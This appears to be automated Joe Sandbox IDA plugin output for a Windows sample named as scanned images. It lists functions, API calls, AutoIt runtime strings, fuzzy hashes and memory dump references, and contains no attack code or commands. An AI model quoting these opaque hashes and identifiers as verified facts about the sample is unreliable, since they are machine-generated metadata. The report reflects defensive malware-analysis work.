Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: MessageSend$Window_wcslen
String ID: SysListView32
API String ID: 2147712094-78025650
Opcode ID: 9cb7d56d789a9d507d30770d54360a41f2a338ddd2dba5922e6020f966fc01e2
Instruction ID: 4a982b30bb865aa23a34132c5dcf5d9205a7eb23bebfa405c74c6af391bfc2bc
Opcode Fuzzy Hash: 9cb7d56d789a9d507d30770d54360a41f2a338ddd2dba5922e6020f966fc01e2
Instruction Fuzzy Hash: A741C971900258ABDF219F65CC49BEB7BA9FF08355F10012BF948E7281D7759D81CB98

Function 004BBC5E Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 004BBCFD
IsMenu.USER32(00000000), ref: 004BBD1D
CreatePopupMenu.USER32 ref: 004BBD53
GetMenuItemCount.USER32(01298428), ref: 004BBDA4
InsertMenuItemW.USER32(01298428,?,00000001,00000030), ref: 004BBDCC

Strings

2, xrefs: 004BBD37
0, xrefs: 004BBCA8

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup
String ID: 0$2
API String ID: 93392585-3793063076
Opcode ID: 3ed8b7768e1334a242008696dc527ba87db1c975135a23d52178168e8e2f7478
Instruction ID: 50a1efdd1c48a263da4d8b86e484f7f478c61345fbac3468ac434a80a47f0d90
Opcode Fuzzy Hash: 3ed8b7768e1334a242008696dc527ba87db1c975135a23d52178168e8e2f7478
Instruction Fuzzy Hash: AB51BD70A00205ABDF11CFA9C8C4BEEBBF9EF45314F14462AE4419B291D7BC9941CBB9

Function 00472D20 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00472D4B
___except_validate_context_record.LIBVCRUNTIME ref: 00472D53
_ValidateLocalCookies.LIBCMT ref: 00472DE1
__IsNonwritableInCurrentImage.LIBCMT ref: 00472E0C
_ValidateLocalCookies.LIBCMT ref: 00472E61

Strings

&HG, xrefs: 00472DFE, 00472E07, 00472E18
csm, xrefs: 00472DF6

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: &HG$csm
API String ID: 1170836740-1363431019
Opcode ID: 4263725fb93a81830641d3f7cceeb7a3f7652b4d5693dffaf8f7a084f637a269
Instruction ID: 4a876ba0beeaefa3cb02043600414a95e27817b127548271d5f4179538d5c9cf
Opcode Fuzzy Hash: 4263725fb93a81830641d3f7cceeb7a3f7652b4d5693dffaf8f7a084f637a269
Instruction Fuzzy Hash: AF41A334E00209ABCF20DF69C945ADEBBB5BF44318F14C15BE81C6B352D779AA05CB95

Function 004BC874 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 004BC913

Strings

stop, xrefs: 004BC8E4
blank, xrefs: 004BC895
warning, xrefs: 004BC8FC
info, xrefs: 004BC8B4
question, xrefs: 004BC8CC

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: b240baa155999a1ff0320fa2809e6b33db6a42c06fb58c357756048e203f7d2e
Instruction ID: 0c0ef8a93f1178d01e060f3c7e7ae30aae5006d69cfe0291ff3f3fb75cfa3b64
Opcode Fuzzy Hash: b240baa155999a1ff0320fa2809e6b33db6a42c06fb58c357756048e203f7d2e
Instruction Fuzzy Hash: 30112772789307BAB700AB149CC2CEB279CDF55329B20402FF504E62C2E7A86E4152BD

Function 004BED19 Relevance: 12.1, APIs: 8, Instructions: 137timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 004BED2A
_wcslen.LIBCMT ref: 004BED3B
_wcslen.LIBCMT ref: 004BED79
_wcslen.LIBCMT ref: 004BEDAF
_wcslen.LIBCMT ref: 004BEDDF
_wcslen.LIBCMT ref: 004BEDEF
_wcslen.LIBCMT ref: 004BEE2B
_wcslen.LIBCMT ref: 004BEE5A

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: _wcslen$LocalTime
String ID:
API String ID: 952045576-0
Opcode ID: 076b55dd7a4035d4ef0288807785f5fac9e3b0b96398ced463b0be807d6d9e89
Instruction ID: 4086cf1a8ac6d2bb9bb066179c64d2d6dd2876665ae93c2aad7077efaaeef737
Opcode Fuzzy Hash: 076b55dd7a4035d4ef0288807785f5fac9e3b0b96398ced463b0be807d6d9e89
Instruction Fuzzy Hash: A641C765C1011876CB51EBF6888A9CF77BCAF85300F00856BE518E3122FB38D245C3AE

Function 0046F8D8 Relevance: 12.1, APIs: 8, Instructions: 124COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,004A682C,00000004,00000000,00000000), ref: 0046F953
ShowWindow.USER32(FFFFFFFF,00000006,?,00000000,?,004A682C,00000004,00000000,00000000), ref: 004AF3D1
ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,004A682C,00000004,00000000,00000000), ref: 004AF454

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 6c63043aacec38ce93110a302710cd1be19c34826a1d2c562636324f2dd05f8a
Instruction ID: cdf3bbcb0e9338db31a5ca3bd852ecc615d05ad050361ffee66a97502ad64a11
Opcode Fuzzy Hash: 6c63043aacec38ce93110a302710cd1be19c34826a1d2c562636324f2dd05f8a
Instruction Fuzzy Hash: DE413EB0204780BAD7388B69A8C872B7B916B67314F14443FE4C756761E63D948DCB1F

Function 004E2D03 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 004E2D1B
GetDC.USER32(00000000), ref: 004E2D23
GetDeviceCaps.GDI32(00000000,0000005A), ref: 004E2D2E
ReleaseDC.USER32(00000000,00000000), ref: 004E2D3A
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 004E2D76
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 004E2D87
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,004E5A65,?,?,000000FF,00000000,?,000000FF,?), ref: 004E2DC2
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 004E2DE1

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 1c593c92071a0822d86cca17a074af24bc2e2f7b7cfbe09e30cf17502510d1fc
Instruction ID: 080919da366d5a89f197de2c27c15e3e655893ff9b0f6054e4689172f824e74a
Opcode Fuzzy Hash: 1c593c92071a0822d86cca17a074af24bc2e2f7b7cfbe09e30cf17502510d1fc
Instruction Fuzzy Hash: 8A318F72201254BBEB118F558C8AFFB3BADEB49715F044065FE089E292C6B59C41C7A8

Function 004B5622 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 004B5637
_memcmp.LIBVCRUNTIME ref: 004B5659
_memcmp.LIBVCRUNTIME ref: 004B5671
_memcmp.LIBVCRUNTIME ref: 004B5684
_memcmp.LIBVCRUNTIME ref: 004B569E
_memcmp.LIBVCRUNTIME ref: 004B56B1
_memcmp.LIBVCRUNTIME ref: 004B56C9
_memcmp.LIBVCRUNTIME ref: 004B56E4

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 22cff26533f8c54bc1f743746588193ce73adaa944f0fd2301521ef4cfff2e10
Instruction ID: 08b6eaefc1e56c50ff9650a292e07304fa542d04b7608de6fe0e0590c4a01d8f
Opcode Fuzzy Hash: 22cff26533f8c54bc1f743746588193ce73adaa944f0fd2301521ef4cfff2e10
Instruction Fuzzy Hash: 6D2198717409097BB21455265D82FFBB35CAF20389F644027FD0C9AA81FB6CEE1581BD

Function 004D4FAE Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 359COMMON

Download Yara Rule

Strings

Not an Object type, xrefs: 004D5007
NULL Pointer assignment, xrefs: 004D502E, 004D5383

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: 92bf1e1c7826d03ff99951c2744d46053ce62a2915ab737aa417bf20eb1c6709
Instruction ID: 2106651474e5c03f926d84854ee149d93c4e4785016704e9cd546e2884bf5c7d
Opcode Fuzzy Hash: 92bf1e1c7826d03ff99951c2744d46053ce62a2915ab737aa417bf20eb1c6709
Instruction Fuzzy Hash: 53D19171A0060A9FDF10CFA8C891BAEB7B5BF48344F14846BE915AB381EB74DD45CB94

Function 00491522 Relevance: 10.8, APIs: 7, Instructions: 268COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?), ref: 004915CE
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 00491651
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 004916E4
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 004916FB

Part of subcall function 00483820: RtlAllocateHeap.NTDLL(00000000,?,00521444,?,0046FDF5,?,?,0045A976,00000010,00521440,004513FC,?,004513C6,?,00451129), ref: 00483852

MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00491777
__freea.LIBCMT ref: 004917A2
__freea.LIBCMT ref: 004917AE

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ByteCharMultiWide$__freea$AllocateHeapInfo
String ID:
API String ID: 2829977744-0
Opcode ID: 7951f8e80d9a045ca55be718004cf7d4fa6abd8c31dd7481b734bc3b05f41749
Instruction ID: ff179572fa7dbecb7979b10c93fb9f93be5590665937de9cf3699231f47b5640
Opcode Fuzzy Hash: 7951f8e80d9a045ca55be718004cf7d4fa6abd8c31dd7481b734bc3b05f41749
Instruction Fuzzy Hash: EA91B372E00217AEDF209EA4C881AEF7FA59F45724F19457BE901E7261D729CC41CB68

Function 004D4523 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 262COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 004D4648
VariantInit.OLEAUT32(?), ref: 004D4749
VariantClear.OLEAUT32(?), ref: 004D4753
VariantClear.OLEAUT32(?), ref: 004D47B0

Strings

Incorrect Object type in FOR..IN loop, xrefs: 004D472C
Null Object assignment in FOR..IN loop, xrefs: 004D45D8, 004D4706, 004D47BE

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Variant$ClearInit
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2610073882-625585964
Opcode ID: c185ee6c8d65a7626b02af4dd1000a1351d2735089f6fad110f283ccd02a8364
Instruction ID: 48a69b9b47e4a3b7415e3a36e2e70ccbd64bfdb3a96e5b15e36355ee4232bba5
Opcode Fuzzy Hash: c185ee6c8d65a7626b02af4dd1000a1351d2735089f6fad110f283ccd02a8364
Instruction Fuzzy Hash: 42918F71A00219ABDF20CFA5C894FAF7BB8AF86714F10855BF505AB380D7789945CBA4

Function 004C1187 Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(00000001,?), ref: 004C125C
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 004C1284
SafeArrayUnaccessData.OLEAUT32(00000001), ref: 004C12A8
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 004C12D8
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 004C135F
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 004C13C4
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 004C1430

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ArraySafe$Data$Access$UnaccessVartype
String ID:
API String ID: 2550207440-0
Opcode ID: 57a9dbed01e1866e54e8743f654493976bda9158e95fd74ec3f4a1e197b3e390
Instruction ID: 586325a26f35c6a147280973039d49ea115b152cfec208bfb26e2047b68ce6de
Opcode Fuzzy Hash: 57a9dbed01e1866e54e8743f654493976bda9158e95fd74ec3f4a1e197b3e390
Instruction Fuzzy Hash: D591EF799002189FEB449F95C884FBE77B5FF06319F10406FE940EB2A2D778A841CB98

Function 0046948A Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 05269a46f144ce43052e6e2abac0a1242dd3aeef2e121d1ef956691e5f74062e
Instruction ID: 562650173d983a91bc9db61991a1154991fab6adb9792e368f6781b327bb1efb
Opcode Fuzzy Hash: 05269a46f144ce43052e6e2abac0a1242dd3aeef2e121d1ef956691e5f74062e
Instruction Fuzzy Hash: F7911771900219EFCB10CFA9CC84AEEBBB8FF49320F14455AE916B7251D778AD42CB65

Function 004D3947 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 240COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 004D396B
CharUpperBuffW.USER32(?,?), ref: 004D3A7A
_wcslen.LIBCMT ref: 004D3A8A
VariantClear.OLEAUT32(?), ref: 004D3C1F

Part of subcall function 004C0CDF: VariantInit.OLEAUT32(00000000), ref: 004C0D1F
Part of subcall function 004C0CDF: VariantCopy.OLEAUT32(?,?), ref: 004C0D28
Part of subcall function 004C0CDF: VariantClear.OLEAUT32(?), ref: 004C0D34

Strings

Incorrect Parameter format, xrefs: 004D39A6, 004D3BA1
AUTOIT.ERROR, xrefs: 004D3A80, 004D3A85

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper_wcslen
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4137639002-1221869570
Opcode ID: 531febb6a6c19910f7fa3214f8b3cda2a8d95ac67594612b378361a774244615
Instruction ID: 47ba52a9314bf38479c40eda85d537ae32bdcd67a2bb8588797d1f66090283de
Opcode Fuzzy Hash: 531febb6a6c19910f7fa3214f8b3cda2a8d95ac67594612b378361a774244615
Instruction Fuzzy Hash: 0E9168746083059FC700DF25C49096AB7E4BF88319F14886FF8899B352DB38EE46CB96

Function 004D4BAD Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

APIs

Part of subcall function 004B000E: CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,004AFF41,80070057,?,?,?,004B035E), ref: 004B002B
Part of subcall function 004B000E: ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,004AFF41,80070057,?,?), ref: 004B0046
Part of subcall function 004B000E: lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,004AFF41,80070057,?,?), ref: 004B0054
Part of subcall function 004B000E: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,004AFF41,80070057,?), ref: 004B0064

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,00000001,?,?), ref: 004D4C51
_wcslen.LIBCMT ref: 004D4D59
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,?), ref: 004D4DCF
CoTaskMemFree.OLE32(?), ref: 004D4DDA

Strings

NULL Pointer assignment, xrefs: 004D4E23, 004D4E52

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: FreeFromProgTask$CreateInitializeInstanceSecurity_wcslenlstrcmpi
String ID: NULL Pointer assignment
API String ID: 614568839-2785691316
Opcode ID: a5f2055d99b77dcf2e7d2a98c66f4f6fcc241041ce203878216db2853b0bd12a
Instruction ID: 7a6676aa555c13771866f63afb482abbf87d61b4efb5c13cbdef68a77ec705c5
Opcode Fuzzy Hash: a5f2055d99b77dcf2e7d2a98c66f4f6fcc241041ce203878216db2853b0bd12a
Instruction Fuzzy Hash: 31912871D0021DEFDF10DFA5C890AEEB7B9BF48304F10856AE915AB241DB389A49CF64

Function 004E20FD Relevance: 10.7, APIs: 7, Instructions: 196windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 004E2183
GetMenuItemCount.USER32(00000000), ref: 004E21B5
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 004E21DD
_wcslen.LIBCMT ref: 004E2213
GetMenuItemID.USER32(?,?), ref: 004E224D
GetSubMenu.USER32(?,?), ref: 004E225B

Part of subcall function 004B3A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 004B3A57
Part of subcall function 004B3A3D: GetCurrentThreadId.KERNEL32 ref: 004B3A5E
Part of subcall function 004B3A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,004B25B3), ref: 004B3A65

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 004E22E3

Part of subcall function 004BE97B: Sleep.KERNEL32 ref: 004BE9F3

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Menu$Thread$Item$AttachCountCurrentInputMessagePostProcessSleepStringWindow_wcslen
String ID:
API String ID: 4196846111-0
Opcode ID: 6c77ece2acb4a4c35b2810f2283b30f4746955d9627753ef2e035cb4d68754f1
Instruction ID: 5f56a10763c89c73615593b72e29c1e6c0d7fb4c32c768bb69c59daf609ce4a5
Opcode Fuzzy Hash: 6c77ece2acb4a4c35b2810f2283b30f4746955d9627753ef2e035cb4d68754f1
Instruction Fuzzy Hash: 0F71B375A00245AFCB00DF66C981AAEB7F5FF48315F1084AAE916EB341D778EE018B95

Function 004BAEBA Relevance: 10.7, APIs: 7, Instructions: 162windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 004BAEF9
GetKeyboardState.USER32(?), ref: 004BAF0E
SetKeyboardState.USER32(?), ref: 004BAF6F
PostMessageW.USER32(?,00000101,00000010,?), ref: 004BAF9D
PostMessageW.USER32(?,00000101,00000011,?), ref: 004BAFBC
PostMessageW.USER32(?,00000101,00000012,?), ref: 004BAFFD
PostMessageW.USER32(?,00000101,0000005B,?), ref: 004BB020

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File
